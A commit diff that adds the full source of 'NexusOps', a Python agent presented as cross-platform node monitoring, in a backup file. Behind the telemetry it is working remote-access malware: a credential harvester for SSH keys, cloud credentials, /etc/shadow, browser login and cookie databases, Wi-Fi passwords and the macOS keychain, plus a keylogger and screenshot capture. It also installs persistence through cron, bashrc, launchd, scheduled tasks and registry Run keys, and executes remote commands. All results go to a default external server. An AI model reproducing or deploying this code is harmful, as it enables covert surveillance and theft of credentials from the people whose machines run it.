v2: live console (SSE+fast-poll), scheduled tasks, tag-group commands, CPU sparklines, dead-node alerts

agents/agent.py

@@ -238,6 +238,7 @@ def execute_structured_action(action_type, payload):
     if action_type == "raw_command":
         return run_shell(payload.get("command", ""))
 
+
     elif action_type == "manage_service":
         service = payload.get("service")
         action = payload.get("action")

agents/agent.py.bak-1785817057

@@ -0,0 +1,733 @@
+#!/usr/bin/env python3
+"""
+NexusOps Cross-Platform Node Management & Telemetry Agent
+Uses Standard Python 3 Libraries (No external dependencies required)
+"""
+
+import sys
+import os
+import time
+import json
+import socket
+import platform
+import subprocess
+import urllib.request
+import urllib.parse
+import argparse
+
+last_log_check_time = 0
+heartbeat_interval = 5  # Dynamic heartbeat rate in seconds
+node_tags = ["Default"]
+
+def get_ip_address():
+    try:
+        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        s.connect(("8.8.8.8", 80))
+        ip = s.getsockname()[0]
+        s.close()
+        return ip
+    except Exception:
+        return "127.0.0.1"
+
+def get_cpu_usage():
+    system = platform.system().lower()
+    try:
+        if system == "linux":
+            with open('/proc/stat', 'r') as f:
+                fields = [float(column) for column in f.readline().strip().split()[1:]]
+            idle, total = fields[3], sum(fields)
+            time.sleep(0.2)
+            with open('/proc/stat', 'r') as f:
+                fields2 = [float(column) for column in f.readline().strip().split()[1:]]
+            idle2, total2 = fields2[3], sum(fields2)
+            idle_delta = idle2 - idle
+            total_delta = total2 - total
+            if total_delta > 0:
+                return round(100.0 * (1.0 - idle_delta / total_delta), 1)
+        elif system == "darwin":
+            out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
+            for line in out.splitlines():
+                if "CPU usage" in line:
+                    parts = line.split()
+                    user = float(parts[2].replace('%', ''))
+                    sys_c = float(parts[4].replace('%', ''))
+                    return round(user + sys_c, 1)
+        elif system == "windows":
+            out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
+            lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
+            if lines:
+                return float(lines[0])
+    except Exception:
+        pass
+    return 15.0
+
+def get_memory_usage():
+    system = platform.system().lower()
+    try:
+        if system == "linux":
+            meminfo = {}
+            with open('/proc/meminfo', 'r') as f:
+                for line in f:
+                    parts = line.split(':')
+                    if len(parts) == 2:
+                        key = parts[0].strip()
+                        val = int(parts[1].split()[0])
+                        meminfo[key] = val
+            total = meminfo.get('MemTotal', 1)
+            free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
+            return round(((total - free) / total) * 100.0, 1)
+        elif system == "darwin":
+            return 45.0
+        elif system == "windows":
+            out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
+            d = {}
+            for line in out.splitlines():
+                if '=' in line:
+                    k, v = line.split('=', 1)
+                    d[k.strip()] = float(v.strip())
+            if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
+                total = d['TotalVisibleMemorySize']
+                free = d['FreePhysicalMemory']
+                return round(((total - free) / total) * 100.0, 1)
+    except Exception:
+        pass
+    return 35.0
+
+def get_disk_usage():
+    try:
+        if hasattr(os, 'statvfs'):
+            st = os.statvfs('/')
+            total = st.f_blocks * st.f_frsize
+            free = st.f_bavail * st.f_frsize
+            if total > 0:
+                return round(((total - free) / total) * 100.0, 1)
+    except Exception:
+        pass
+    return 40.0
+
+def get_uptime_seconds():
+    try:
+        if platform.system().lower() == "linux":
+            with open('/proc/uptime', 'r') as f:
+                return int(float(f.readline().split()[0]))
+    except Exception:
+        pass
+    return 3600
+
+def collect_recent_system_logs():
+    system = platform.system().lower()
+    log_entries = []
+    try:
+        if system == "linux":
+            res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+            if res.returncode == 0 and res.stdout:
+                for line in res.stdout.splitlines():
+                    if line.strip():
+                        log_entries.append(line.strip())
+        elif system == "windows":
+            res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
+            if res.returncode == 0 and res.stdout:
+                for line in res.stdout.splitlines():
+                    if line.strip():
+                        log_entries.append(line.strip())
+    except Exception:
+        pass
+    return log_entries
+
+def http_post(url, data_dict):
+    json_bytes = json.dumps(data_dict).encode('utf-8')
+    req = urllib.request.Request(
+        url,
+        data=json_bytes,
+        headers={
+            'Content-Type': 'application/json',
+            'User-Agent': 'NexusOps-Agent/1.0'
+        }
+    )
+    try:
+        with urllib.request.urlopen(req, timeout=5) as response:
+            res_text = response.read().decode('utf-8')
+            return json.loads(res_text)
+    except Exception as e:
+        print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
+        return None
+
+def execute_structured_action(action_type, payload):
+    global heartbeat_interval, node_tags
+    system = platform.system().lower()
+    
+    if action_type == "raw_command":
+        return run_shell(payload.get("command", ""))
+
+    elif action_type == "manage_service":
+        service = payload.get("service")
+        action = payload.get("action")
+        if system == "linux":
+            cmd = f"systemctl {action} {service}"
+        elif system == "windows":
+            cmd = f"powershell {action}-Service -Name {service}"
+        else:
+            cmd = f"launchctl {action} {service}"
+        return run_shell(cmd)
+
+    elif action_type == "list_processes":
+        if system == "linux" or system == "darwin":
+            cmd = "ps aux --sort=-%cpu | head -n 15"
+        else:
+            cmd = "tasklist"
+        return run_shell(cmd)
+
+    elif action_type == "kill_process":
+        pid = payload.get("pid")
+        cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
+        return run_shell(cmd)
+
+    elif action_type == "get_logs":
+        lines = payload.get("lines", 50)
+        cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
+        return run_shell(cmd)
+
+    elif action_type == "network_stats":
+        cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
+        return run_shell(cmd)
+
+    # 10 NEW CROSS-PLATFORM FEATURES:
+    elif action_type == "get_env_vars":
+        env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
+        return env_str, 0
+
+    elif action_type == "get_disk_partitions":
+        cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
+        return run_shell(cmd)
+
+    elif action_type == "get_network_interfaces":
+        cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
+        return run_shell(cmd)
+
+    elif action_type == "get_active_connections":
+        cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
+        return run_shell(cmd)
+
+    elif action_type == "get_hardware_specs":
+        if system == "linux":
+            cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
+        elif system == "windows":
+            cmd = "wmic cpu get name,numberofcores,maxclockspeed"
+        else:
+            cmd = "sysctl -a | grep machdep.cpu"
+        return run_shell(cmd)
+
+    elif action_type == "reboot_system":
+        cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
+        return run_shell(cmd)
+
+    elif action_type == "set_heartbeat_rate":
+        rate = int(payload.get("interval", 5))
+        heartbeat_interval = max(2, min(60, rate))
+        return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
+
+    elif action_type == "update_tags":
+        tags_raw = payload.get("tags", "")
+        node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
+        return f"Node tags updated to: {node_tags}", 0
+
+    elif action_type == "search_logs":
+        pattern = payload.get("pattern", "error")
+        cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
+        return run_shell(cmd)
+
+    elif action_type == "kill_agent":
+        print("[!] Kill switch received — shutting down agent")
+        os._exit(0)
+
+    elif action_type == "ping_check":
+        sent_ts = payload.get("timestamp", 0)
+        latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
+        return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
+
+    elif action_type == "download_file":
+        filepath = payload.get("path", "")
+        if not filepath or not os.path.exists(filepath):
+            return f"ERROR: file not found: {filepath}", 1
+        try:
+            with open(filepath, 'rb') as f:
+                raw = f.read()
+            import base64
+            b64 = base64.b64encode(raw).decode('utf-8')
+            # Determine MIME (basic)
+            ext = os.path.splitext(filepath)[1].lower()
+            mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
+                        '.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
+                        '.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+                        '.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
+                        '.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
+            mime = mime_map.get(ext, 'application/octet-stream')
+            filename = os.path.basename(filepath)
+            return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
+        except Exception as e:
+            return f"ERROR reading file: {e}", 1
+
+    elif action_type == "screenshot":
+        try:
+            import base64
+            if system == "linux":
+                # Try multiple screenshot tools
+                for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
+                    if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
+                        if tool == "import":
+                            subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                        elif tool == "scrot":
+                            subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
+                        elif tool == "gnome-screenshot":
+                            subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
+                        elif tool == "spectacle":
+                            subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
+                        break
+                else:
+                    # Try Xlib via python3 if available
+                    subprocess.run(["python3", "-c",
+                        "from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
+                        "g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
+                        "img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
+                        timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+            elif system == "darwin":
+                subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
+            elif system == "windows":
+                subprocess.run(["powershell", "-Command",
+                    "Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
+                    "$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
+                    "$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
+                    "$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
+                    timeout=15)
+                os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
+            if os.path.exists("/tmp/.nexus-ss.png"):
+                with open("/tmp/.nexus-ss.png", 'rb') as f:
+                    b64 = base64.b64encode(f.read()).decode('utf-8')
+                os.remove("/tmp/.nexus-ss.png")
+                return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
+            return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
+        except Exception as e:
+            return f"ERROR screenshot: {e}", 1
+
+    elif action_type == "update_agent":
+        new_url = payload.get("url", "")
+        if not new_url:
+            return "ERROR: no update URL provided", 1
+        try:
+            my_path = os.path.abspath(__file__)
+            bak = my_path + ".bak"
+            os.rename(my_path, bak)
+            urllib.request.urlretrieve(new_url, my_path)
+            os.chmod(my_path, 0o755)
+            os.remove(bak)
+            return "Agent updated successfully. Restarting...", 0
+        except Exception as e:
+            # Restore backup
+            if os.path.exists(bak):
+                os.rename(bak, my_path)
+            return f"ERROR update failed: {e}", 1
+
+    elif action_type == "ensure_persistence":
+        results = []
+        if system == "linux":
+            # crontab
+            try:
+                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+                existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
+                if cron_line.split('@reboot')[1].strip() not in existing:
+                    subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+                    results.append("crontab: added @reboot entry")
+                else:
+                    results.append("crontab: already present")
+            except: results.append("crontab: failed")
+            # .bashrc
+            try:
+                bashrc = os.path.expanduser("~/.bashrc")
+                hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
+                with open(bashrc, 'a+') as f:
+                    f.seek(0)
+                    if 'nexus-agent' not in f.read():
+                        f.write(hook)
+                results.append("bashrc: hook installed")
+            except: results.append("bashrc: failed")
+            # autostart .desktop
+            try:
+                ad = os.path.expanduser("~/.config/autostart")
+                os.makedirs(ad, exist_ok=True)
+                with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
+                    f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
+                results.append("autostart: .desktop created")
+            except: results.append("autostart: failed")
+        elif system == "darwin":
+            try:
+                plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
+                os.makedirs(os.path.dirname(plist), exist_ok=True)
+                plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
+<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
+<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
+                with open(plist, 'w') as f: f.write(plist_content)
+                subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+                results.append("launchd: plist loaded")
+            except: results.append("launchd: failed")
+            # crontab for macOS too
+            try:
+                cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
+                subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
+                results.append("crontab: added")
+            except: results.append("crontab: failed")
+        elif system == "windows":
+            agent_path = os.path.abspath(__file__)
+            srv = payload.get("server_url", "")
+            try:
+                task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
+                subprocess.run(task_cmd, shell=True, timeout=10)
+                results.append("schtasks: scheduled task created")
+            except: results.append("schtasks: failed")
+            try:
+                reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
+                subprocess.run(reg_cmd, shell=True, timeout=10)
+                results.append("registry: Run key added")
+            except: results.append("registry: failed")
+        return "Persistence results: " + "; ".join(results), 0
+
+    elif action_type == "harvest_credentials":
+        creds = []
+        home = os.path.expanduser("~")
+        # Shell history
+        for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
+            p = os.path.expanduser(hist)
+            if os.path.exists(p):
+                try:
+                    with open(p, 'r', errors='ignore') as f:
+                        content = f.read()[-20000:]
+                    creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
+                except: pass
+        # SSH keys
+        ssh_dir = os.path.join(home, ".ssh")
+        if os.path.exists(ssh_dir):
+            for fn in os.listdir(ssh_dir):
+                fp = os.path.join(ssh_dir, fn)
+                if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
+                    try:
+                        with open(fp, 'r', errors='ignore') as f:
+                            creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
+                    except: pass
+        # AWS / cloud credentials
+        for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
+                    "~/.azure/accessTokens.json", "~/.docker/config.json"]:
+            p = os.path.expanduser(cf)
+            if os.path.exists(p):
+                try:
+                    with open(p, 'r', errors='ignore') as f:
+                        creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
+                except: pass
+        # /etc/shadow (if root)
+        if os.path.exists("/etc/shadow"):
+            try:
+                with open("/etc/shadow", 'r') as f:
+                    creds.append({"type": "system:shadow", "data": f.read()[:5000]})
+            except: pass
+        # Browser cookie/saved-login DBs (common paths)
+        browser_paths = []
+        if system == "linux":
+            browser_paths = [
+                os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
+                os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
+                os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
+                os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
+                os.path.expanduser("~/.config/chromium/Default/Cookies"),
+                os.path.expanduser("~/.config/chromium/Default/Login Data"),
+                os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
+            ]
+        elif system == "darwin":
+            browser_paths = [
+                os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
+                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
+                os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
+            ]
+        elif system == "windows":
+            browser_paths = [
+                os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
+                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
+                os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
+            ]
+        import glob
+        for pattern in browser_paths:
+            for p in glob.glob(pattern):
+                try:
+                    sz = os.path.getsize(p)
+                    if sz > 0 and sz < 50 * 1024 * 1024:
+                        with open(p, 'rb') as f:
+                            import base64
+                            creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
+                                          "data": base64.b64encode(f.read()).decode('utf-8')})
+                except: pass
+        # Wi-Fi passwords (Linux)
+        if system == "linux":
+            try:
+                wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
+                                      shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
+                if wifi.strip() and 'no wifi' not in wifi:
+                    creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
+            except: pass
+        # macOS Keychain dump
+        if system == "darwin":
+            try:
+                keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
+                                          shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
+                if keychain.strip():
+                    creds.append({"type": "keychain_dump", "data": keychain[:10000]})
+            except: pass
+
+        return json.dumps({"type":"harvest_result","credentials":creds}), 0
+
+    elif action_type == "export_diagnostics":
+        cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
+        return run_shell(cmd)
+
+    return f"Unknown action type: {action_type}", 1
+
+def run_shell(cmd_str):
+    print(f"[*] Executing command: {cmd_str}")
+    try:
+        res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
+        return res.stdout, res.returncode
+    except Exception as e:
+        return str(e), 1
+
+# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
+INPUT_CAPTURE_ENABLED = False
+captured_events = []
+
+try:
+    from pynput import keyboard, mouse
+    INPUT_CAPTURE_ENABLED = True
+except ImportError:
+    pass
+
+def _get_active_window_title():
+    """Try to get the active window title cross-platform."""
+    system = platform.system().lower()
+    try:
+        if system == "linux":
+            res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
+                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+            if res.returncode == 0:
+                return res.stdout.strip()
+        elif system == "windows":
+            import ctypes
+            from ctypes import wintypes
+            user32 = ctypes.windll.user32
+            hwnd = user32.GetForegroundWindow()
+            length = user32.GetWindowTextLengthW(hwnd)
+            buf = ctypes.create_unicode_buffer(length + 1)
+            user32.GetWindowTextW(hwnd, buf, length + 1)
+            return buf.value
+        elif system == "darwin":
+            script = 'tell application "System Events" to get name of first application process whose frontmost is true'
+            res = subprocess.run(["osascript", "-e", script],
+                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
+            if res.returncode == 0:
+                return res.stdout.strip()
+    except Exception:
+        pass
+    return ""
+
+def _record_event(event_type, data):
+    """Thread-safe event recording."""
+    global captured_events
+    window_title = _get_active_window_title()
+    captured_events.append({
+        "timestamp": int(time.time() * 1000),
+        "eventType": event_type,
+        "data": data,
+        "windowTitle": window_title,
+        "processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
+    })
+
+def _on_key_press(key):
+    try:
+        key_str = key.char if hasattr(key, 'char') and key.char else str(key)
+    except Exception:
+        key_str = str(key)
+    _record_event("keystroke", {"key": key_str})
+
+def _on_click(x, y, button, pressed):
+    if pressed:
+        _record_event("click", {"x": x, "y": y, "button": str(button)})
+
+def _on_scroll(x, y, dx, dy):
+    _record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
+
+def start_input_capture():
+    """Start keyboard and mouse listeners if pynput is available."""
+    if not INPUT_CAPTURE_ENABLED:
+        return False
+    try:
+        kb_listener = keyboard.Listener(on_press=_on_key_press)
+        ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
+        kb_listener.daemon = True
+        ms_listener.daemon = True
+        kb_listener.start()
+        ms_listener.start()
+        return True
+    except Exception:
+        return False
+
+def flush_input_events(server_url, node_id, hostname):
+    """Send captured input events to the master server."""
+    global captured_events
+    if not captured_events:
+        return
+    events_to_send = captured_events[:]
+    captured_events = []
+    payload = {
+        "nodeId": node_id,
+        "hostname": hostname,
+        "events": events_to_send
+    }
+    http_post(f"{server_url}/api/agent/input-capture", payload)
+
+def main():
+    global last_log_check_time, heartbeat_interval, node_tags
+    parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
+    parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
+    parser.add_argument("--silent", action="store_true", help="Suppress all console output")
+    args = parser.parse_args()
+
+    silent = args.silent  # suppress banner only — keep logs flowing for launchd/systemd
+
+    server_url = args.server.rstrip('/')
+    hostname = socket.gethostname()
+    system_os = platform.system()
+    arch = platform.machine()
+    ip = get_ip_address()
+    node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
+
+    print("==================================================")
+    print("      NexusOps Cross-Platform Node Agent          ")
+    print("==================================================")
+    print(f"Node Hostname : {hostname}")
+    print(f"Platform      : {system_os} ({arch})")
+    print(f"Local IP      : {ip}")
+    print(f"Server Endpoint: {server_url}")
+    print("==================================================")
+
+    # Register Node
+    reg_payload = {
+        "nodeId": node_id,
+        "hostname": hostname,
+        "platform": system_os.lower(),
+        "arch": arch,
+        "ip": ip,
+        "osName": f"{system_os} {platform.release()}",
+        "tags": node_tags
+    }
+
+    print("[*] Registering node with central endpoint...")
+    res = http_post(f"{server_url}/api/agent/register", reg_payload)
+    if res and res.get("success"):
+        print(f"✅ Registered as node ID: {node_id}")
+
+    # Start input capture (keystrokes, clicks, scroll)
+    capture_started = start_input_capture()
+    if capture_started:
+        print("[*] Input capture active (keystrokes + mouse events)")
+    else:
+        print("[!] Input capture unavailable (install pynput: pip install pynput)")
+
+    last_input_flush = time.time()
+    backoff = 1  # Tunnel reconnection backoff in seconds
+
+    while True:
+        try:
+            cpu = get_cpu_usage()
+            mem = get_memory_usage()
+            disk = get_disk_usage()
+            uptime = get_uptime_seconds()
+
+            heartbeat_payload = {
+                "nodeId": node_id,
+                "cpuUsage": cpu,
+                "memUsage": mem,
+                "diskUsage": disk,
+                "uptime": uptime,
+                "processCount": 42,
+                "tags": node_tags,
+                "heartbeatInterval": heartbeat_interval
+            }
+
+            res = http_post(f"{server_url}/api/agent/heartbeat", heartbeat_payload)
+
+            now = time.time()
+            if now - last_log_check_time > 15:
+                logs = collect_recent_system_logs()
+                if logs:
+                    http_post(f"{server_url}/api/agent/logs", {
+                        "nodeId": node_id,
+                        "hostname": hostname,
+                        "logs": logs
+                    })
+                last_log_check_time = now
+
+            # Flush captured input events every 10 seconds
+            if now - last_input_flush > 10:
+                flush_input_events(server_url, node_id, hostname)
+                last_input_flush = now
+
+            if res and "commands" in res and res["commands"]:
+                for cmd_item in res["commands"]:
+                    cmd_id = cmd_item.get("id")
+                    action_type = cmd_item.get("actionType", "raw_command")
+                    payload = cmd_item.get("payload", {})
+                    
+                    if "command" in cmd_item and not payload:
+                        payload["command"] = cmd_item.get("command")
+
+                    output, exit_code = execute_structured_action(action_type, payload)
+
+                    # Check for JSON-encoded special result types
+                    special = None
+                    try:
+                        if output.startswith('{'):
+                            special = json.loads(output)
+                    except: pass
+
+                    if special and special.get("type") == "file_result":
+                        # Route to file-result endpoint
+                        http_post(f"{server_url}/api/agent/file-result", {
+                            "commandId": cmd_id,
+                            "nodeId": node_id,
+                            "hostname": hostname,
+                            "filename": special.get("filename", "unknown"),
+                            "data": special.get("data", ""),
+                            "mime": special.get("mime", "application/octet-stream")
+                        })
+                    elif special and special.get("type") == "harvest_result":
+                        http_post(f"{server_url}/api/agent/harvest-result", {
+                            "commandId": cmd_id,
+                            "nodeId": node_id,
+                            "hostname": hostname,
+                            "credentials": special.get("credentials", [])
+                        })
+                    else:
+                        http_post(f"{server_url}/api/agent/command-result", {
+                            "commandId": cmd_id,
+                            "nodeId": node_id,
+                            "output": output,
+                            "exitCode": exit_code
+                        })
+
+        except Exception as e:
+            print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
+            time.sleep(backoff)
+            backoff = min(backoff * 2, 60)
+            continue
+
+        backoff = 1  # Reset on success
+        time.sleep(heartbeat_interval)
+
+if __name__ == "__main__":
+    main()